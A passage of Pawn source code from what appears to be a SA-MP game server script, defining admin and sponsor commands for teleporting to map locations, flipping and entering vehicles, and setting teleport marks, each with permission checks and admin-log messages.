					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, 2484.816,917.962,10.394);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Church", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to Church");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
if(strcmp(cmd, "/gotogsls", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
		if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
		if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		if (PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
			{
	if (GetPlayerState(playerid) == 2)
	{
		GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
	   GoBack1[playerid][0] = GetPlayerInterior(playerid);
	   GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
	   GoBack1[playerid][2] = Mahal[playerid];
	   GoBack1[playerid][3] = TooHouse[playerid];
	   GoBack1[playerid][4] = TooBiz[playerid];
		new tmpcar = GetPlayerVehicleID(playerid);
		SetVehiclePos(tmpcar,1365.6467, -1279.7645, 13.6824);
		TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
		}
	else
	{
	GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
	GoBack1[playerid][0] = GetPlayerInterior(playerid);
	GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
	GoBack1[playerid][2] = Mahal[playerid];
	GoBack1[playerid][3] = TooHouse[playerid];
	GoBack1[playerid][4] = TooBiz[playerid];
	SetPlayerPos(playerid, 1365.6467, -1279.7645, 13.6824);
	}
	Mahal[playerid] = 9999;
	TooHouse[playerid] = 9999;
	TooBiz[playerid] = 9999;
	SCM(playerid, COLOR_GRAD1, "You have been teleported to GSLS");
	format(string, sizeof(string), "{FFFFFF}Admin %s goes to GSLS", PlayerInfo[playerid][pName]);
	AdminWarn(string);
	SetPlayerInterior(playerid,0);
	}
			else
			{
				SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
			}
		}
		return 1;
	}
		if(strcmp(cmd, "/gototemple", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 1360.370,-1037.259,25.702);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, 1360.370,-1037.259,25.702);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Temple", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to Temple");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/flip", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 6 || PlayerInfo[playerid][pSponser] == 1)
				{
			/*
					new Float:x, Float:y, Float:z;
					GetPlayerPos(playerid, x, y, z);
				new Float:angg;
				GetPlayerFacingAngle(playerid,angg);


						SetVehiclePos(tmpcar, x, y, z);
				SetVehicleZAngle(tmpcar, angg);
				*/
				new Float:angle;
				new tmpcar = GetPlayerVehicleID(playerid);
				GetVehicleZAngle(tmpcar,angle);
				SetVehicleZAngle(tmpcar,angle);
				RepairVehicle(tmpcar);
					SendMessage(playerid, COLOR_GRAD1, "Your vehicle flipped and fixed!");
					new para1;
					para1 = ReturnUser6(tmp);
			 GetPlayerName(para1, giveplayer, sizeof(giveplayer));
			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s flipped %s vehicle.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"));
				ABroadCast(COLOR_AdminWarn,string,1);

				}
				else
				{
				SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
		   }
		   return 1;
		   }
		   /*if(strcmp(cmd, "/gotohotel", true) == 0)
		   {
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 1 || PINFO[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 732.699951,-1276.144897,13.566292);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
						SetPlayerPos(playerid, 732.699951,-1276.144897,13.566292);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported !");
					SetPlayerInterior(playerid,0);
															new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Hotel", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}*/


	   if(strcmp(cmd, "/gotosf1", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PINFO[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, -2022.979125,157.247375,28.835937);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, -2022.979125,157.247375,28.835937);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
										new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to SF 1", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to SF 1");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
/*
	   if(strcmp(cmd, "/gotobanksf", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PINFO[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, -2765.246337,375.215728,6.335937);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, -2765.246337,375.215728,6.335937);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
										new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Bank SF", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to Bank SF");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
*/
	   if(strcmp(cmd, "/gotosf2", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PINFO[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, -2560.639892,2476.484863,19.383220);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, -2560.639892,2476.484863,19.383220);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
										new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to SF 2", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to SF 2");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}

	   if(strcmp(cmd, "/gotoairportls", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PINFO[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 1642.098754,-2238.430419,13.497852);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, 1642.098754,-2238.430419,13.497852);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
				new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Airport LS", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to Airport LS");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}

	   if(strcmp(cmd, "/gotods", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PINFO[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 329.256439,-1516.191406,35.867187);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, 329.256439,-1516.191406,35.867187);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
										new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Dealer Ship", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to Dealer Ship");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
/*
		if(strcmp(cmd, "/garals", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 3)
				{
					if (GetPlayerState(playerid) == 2)
					{
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 1743.9568,-1855.7620,13.4141);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
						SetPlayerPos(playerid, 1743.9568,-1855.7620,13.4141);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported !");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command! !");
				}
			}
			return 1;
		}
		*/
		if(strcmp(cmd, "/gotolv", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if (PlayerInfo[playerid][pAdmin] >= 3 || PINFO[playerid][pSponser] == 1)
				{

					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 1699.2, 1435.1, 10.7);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, 1699.2,1435.1, 10.7);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to LV", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to LV");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1; // 2267.0500,-1210.4271,1048.4747
		}
		if(strcmp(cmd, "/gotosf", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if (PlayerInfo[playerid][pAdmin] >= 3 || PINFO[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, -1417.0,-295.8,14.1);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
						SetPlayerPos(playerid, -1417.0,-295.8,14.1);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
				  new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to SF", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to SF");
					SetPlayerInterior(playerid,0);
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				   GoBack1[playerid][0] = GetPlayerInterior(playerid);
				   GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				   GoBack1[playerid][2] = Mahal[playerid];
				   GoBack1[playerid][3] = TooHouse[playerid];
				   GoBack1[playerid][4] = TooBiz[playerid];
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/gotosft", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
			if (PlayerInfo[playerid][pAdmin] >= 4 || PINFO[playerid][pSponser] == 1)
				{
		if (GetPlayerState(playerid) == 2)
		{
			GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
		  GoBack1[playerid][0] = GetPlayerInterior(playerid);
		  GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
		  GoBack1[playerid][2] = Mahal[playerid];
		  GoBack1[playerid][3] = TooHouse[playerid];
		  GoBack1[playerid][4] = TooBiz[playerid];
			new tmpcar = GetPlayerVehicleID(playerid);
			SetVehiclePos(tmpcar, -2712.4772,217.2832,3.9365);
			TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			}
		else
		{
		GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
	   GoBack1[playerid][0] = GetPlayerInterior(playerid);
	   GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
	   GoBack1[playerid][2] = Mahal[playerid];
	   GoBack1[playerid][3] = TooHouse[playerid];
	   GoBack1[playerid][4] = TooBiz[playerid];
		SetPlayerPos(playerid, -2712.4772,217.2832,3.9365);
		}
		Mahal[playerid] = 9999;
		TooHouse[playerid] = 9999;
		TooBiz[playerid] = 9999;
		new adm[114];
  {
  format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to SF Tuning", PlayerInfo[playerid][pName]);
  AdminWarn(adm);
  }
		SCM(playerid, COLOR_GRAD1, "You have been teleported to SF Tuning");
		SetPlayerInterior(playerid,0);
		}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/entercar", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			 if(PINFO[playerid][pAdmin] < 4 && PINFO[playerid][pSponser] == 0)
			 {
			 SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			 return 1;
			 }
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Entercar <Carid> <Seatid>");
					return 1;
				}
				new testcar = strval(tmp);
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Entercar <Carid> <Seatid>");
					return 1;
				}
	            if(OwnedMashin[testcar] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't enter in a personal vehicle.");
				new seatid = strval(tmp);
				PutPlayerInVehicle(playerid, testcar, seatid);
				SendMessage(playerid, COLOR_LIGHTGREEN, "You have been teleported.");
					new sttrr[118];
					format(sttrr,256,"{FFFFFF}Admin %s entered vehicle id %d seat id %d.", PINFO[playerid][pName], testcar, seatid);
					AdminWarn(sttrr);
			}
			return 1;
		}
		/*
				if(strcmp(cmd, "/giveadminpackage", true) == 0 || strcmp(cmd, "/giveap", true) == 0)
	{
	   if(PlayerInfo[playerid][pAdmin] >= 5)
	   {
		GetPlayerName(playerid, sendername, sizeof(sendername));
		SetPlayerHealth(playerid, 1000000);
		SetPlayerArmour(playerid,1000000);
		SendClientMessage(playerid, COLOR_YELLOW, "You Given Admin-Package From Server! Enjoy.");
		new sttrr[118];
		 format(sttrr,256,"{FFFFFF}Admin %s {00FF00}given {FFFFFF}AdminPackage to him self.", PINFO[playerid][pName]);
		 AdminWarn(sttrr);
		  ResetPlayerWeapons(playerid);
		  GivePlayerWeapon(playerid, 42, 10000);
		  GivePlayerWeapon(playerid, 39, 10000);
		  GivePlayerWeapon(playerid, 38, 10000);
		  GivePlayerWeapon(playerid, 34, 10000);
		  GivePlayerWeapon(playerid, 31, 10000);
		  GivePlayerWeapon(playerid, 29, 10000);
		  GivePlayerWeapon(playerid, 27, 10000);
		  GivePlayerWeapon(playerid, 24, 10000);
		  GivePlayerWeapon(playerid, 40, 1);
		  GivePlayerWeapon(playerid, 10, 1);
		  GivePlayerWeapon(playerid, 9, 1);
	   }
	   return 1;
	}
	*/
	/*
	if(strcmp(cmd, "/takeadminpackage", true) == 0 || strcmp(cmd, "/takeap", true) == 0)
	{
	   if(PlayerInfo[playerid][pAdmin] >= 5)
	   {
		GetPlayerName(playerid, sendername, sizeof(sendername));
		SetPlayerHealth(playerid, 100);
		SetPlayerArmour(playerid, 100);
		SendClientMessage(playerid, COLOR_YELLOW, "You Taken Your Admin-Package!.");
		SetPlayerColor(playerid, COLOR_WHITE);
		new sttrr[118];
		 format(sttrr,256,"{FFFFFF}Admin %s {00FF00}taken {FFFFFF}AdminPackage from him self.", PINFO[playerid][pName]);
		 AdminWarn(sttrr);
		  ResetPlayerWeapons(playerid);
	   }
	   return 1;
	}
	*/
		if(strcmp(cmd, "/gotocar", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Gotocar <Carid>");
					return 1;
				}
				new testcar = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 6)
				{
					new Float:cwx2,Float:cwy2,Float:cwz2;
					GetVehiclePos(testcar, cwx2, cwy2, cwz2);
					if (GetPlayerState(playerid) == 2)
					{
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, cwx2, cwy2, cwz2);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
						SetPlayerPos(playerid, cwx2, cwy2, cwz2);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					SendMessage(playerid, COLOR_LIGHTGREEN, "You have been teleported.");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/mark", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pAdmin] >= 4 || PINFO[playerid][pSponser] == 1)
				{

					GetPlayerPos(playerid, TeleportDest[playerid][0],TeleportDest[playerid][1],TeleportDest[playerid][2]);
					TelportEtela[playerid][0] = GetPlayerVirtualWorld(playerid);
					TelportEtela[playerid][1] = GetPlayerInterior(playerid);
					TelportEtela[playerid][2] = Mahal[playerid];
					TelportEtela[playerid][4] = TooBiz[playerid];
					TelportEtela[playerid][3] = TooHouse[playerid];
					SendMessage(playerid, COLOR_LIGHTGREEN, "Teleporter destination set.");
				new sttrr[144];
				format(sttrr,144,"{FFFFFF}Admin %s sets %s mark.", PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"));
				//AdminWarn(sttrr);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/gotomark", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
		  if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
		  if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if (PlayerInfo[playerid][pAdmin] >= 4 || PINFO[playerid][pSponser] == 1)
				{

					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, TeleportDest[playerid][0],TeleportDest[playerid][1],TeleportDest[playerid][2]);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
